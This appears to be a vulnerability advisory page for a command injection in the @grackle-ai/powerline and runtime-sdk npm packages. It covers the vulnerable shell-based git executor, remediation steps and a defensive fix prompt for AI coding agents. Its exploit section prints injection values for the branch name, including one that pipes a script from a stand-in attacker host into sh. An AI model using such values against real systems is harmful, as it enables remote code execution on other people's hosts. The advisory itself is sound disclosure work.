# GHSA-vv65-f55v-xm6g: The default git executor used for all worktree operations spawns `git` through a shell, and the untrusted task **branch** name fl

> Attackers can execute arbitrary commands on provisioned hosts by injecting shell metacharacters into unsanitized git branch names via the SpawnSession RPC.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Any signed-in user
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** No
- **Published:** 2 Jul 2026

## What is GHSA-vv65-f55v-xm6g?

GHSA-vv65-f55v-xm6g is a command injection vulnerability in @grackle-ai/powerline, published on 2 Jul 2026. Any signed-in user can exploit it over the network, with no action from the victim.

### Official description

## Summary

The default git executor used for all worktree operations spawns `git` through a shell, and the untrusted task **branch** name flows into the command unsanitized. A caller able to reach the PowerLine `SpawnSession` RPC (a malicious or compromised agent acting through the orchestration layer, or any client able to spawn a task) can achieve **arbitrary command execution** as the PowerLine user on every provisioned environment (SSH host, Docker container, or Codespace), escaping the agent sandbox.

This advisory bundles two related defects in `worktree.ts` (audit findings **F1** and **F13**).

## Affected versions

`@grackle-ai/runtime-sdk` (and reachable via `@grackle-ai/powerline`) at version **0.132.1** and earlier. All publishable packages are lockstep-versioned.

## F1 — Command injection via `shell:true` (primary, High)

**Location:** `packages/runtime-sdk/src/worktree.ts:22-28` (sink), `:135-143` (branch → args). Source: `packages/powerline/src/grpc-server.ts:112` (`req.branch`), `packages/runtime-sdk/src/base-session.ts:60,137`.

`NODE_GIT_EXECUTOR.exec` runs:

```ts
const shell = process.env.SHELL || true;   // worktree.ts:24 — always truthy
const result = await execRaw("git", args, { ...options, shell });
```

When `shell` is truthy, Node does **not** pass `args` as a safe argv vector — it concatenates `git` + args into a single string run through `sh -c` with **no escaping**. The untrusted `branch` flows unvalidated from the `SpawnSession` gRPC request into:

```ts
["worktree", "add", "-b", branch, wtPath, startPoint]   // worktree.ts:135-137
["worktree", "add", wtPath, branch]                     // fallback :143
```

`sanitizeBranch()` (`worktree.ts:50`) is applied **only** to compute the on-disk worktree directory path — *not* to the `-b <branch>` argument — so it provides zero protection at the injection sink.

**Exploit:** set a task branch to `x;curl http://attacker/x.sh|sh;#` or `$(touch /tmp/pwned)`. `ensureWorktree` runs it under `sh -c`, yielding RCE as the PowerLine user. (Empirically confirmed during the audit: an args-array branch value `evilbranch;touch /tmp/PWNED` created the file.)

The sibling git path in `runtime-utils.ts:48-56` already uses `execFileAsync("git", [...])` with **no** shell, confirming `shell:true` is unnecessary here.

## F13 — Argument injection: missing `--` separator (residual, Low)

**Location:** `packages/runtime-sdk/src/worktree.ts:135-143`.

Independent of the shell issue, `branch` is placed as a positional argument with no `--` terminator. The sibling `checkoutBranch` (`runtime-utils.ts:51`) correctly uses `["checkout", "--", branch]`. Only the fallback invocation (bare trailing positional) is genuinely flag-injectable; `git worktree add` exposes no dangerous flags reachable this way, so standalone impact is limited — but it should be hardened alongside F1.

## Remediation

1. **Remove `shell` from `NODE_GIT_EXECUTOR`** — `execFile('git', args)` with the argv array is already safe and is the pattern used in `runtime-utils.ts`. This is the primary fix.
2. Add a `--` separator before positional refs/paths in both `worktree add` invocations.
3. **Defense in depth:** validate `branch` at the gRPC boundary (`grpc-server.ts`) against git ref rules — reject names beginning with `-`, containing `..`, or containing shell metacharacters — before it reaches `ensureWorktree`.

## Which versions are affected by GHSA-vv65-f55v-xm6g?

4 open source packages ship an affected version, including @grackle-ai/powerline and @grackle-ai/runtime-sdk.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `@grackle-ai/powerline` | npm | All versions to 0.132.1 | None |
| `@grackle-ai/powerline` | npm | All versions to 0.132.1 | None |
| `@grackle-ai/runtime-sdk` | npm | All versions to 0.132.1 | None |
| `@grackle-ai/runtime-sdk` | npm | All versions to 0.132.1 | None |

## How do I fix GHSA-vv65-f55v-xm6g?

No fix has been published for GHSA-vv65-f55v-xm6g yet. Limit exposure of the affected software until one is available.

## Is GHSA-vv65-f55v-xm6g being exploited?

There is no known exploitation of GHSA-vv65-f55v-xm6g in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-vv65-f55v-xm6g and fix it if it is affected.

What it is: GHSA-vv65-f55v-xm6g is a command injection vulnerability in @grackle-ai/powerline, published on 2 Jul 2026. Any signed-in user can exploit it over the network, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-vv65-f55v-xm6g in the wild and no public exploit code.

Affected packages and fixed versions:
- @grackle-ai/powerline (npm): affected all versions up to 0.132.1; no fix listed
- @grackle-ai/powerline (npm): affected all versions up to 0.132.1; no fix listed
- @grackle-ai/runtime-sdk (npm): affected all versions up to 0.132.1; no fix listed
- @grackle-ai/runtime-sdk (npm): affected all versions up to 0.132.1; no fix listed

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-vv65-f55v-xm6g/ (Markdown: https://insights.sbomify.com/GHSA-vv65-f55v-xm6g/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-vv65-f55v-xm6g

---
From sbomify Insights: https://insights.sbomify.com/GHSA-vv65-f55v-xm6g/
Summaries are generated and may contain mistakes; the official description above is the record.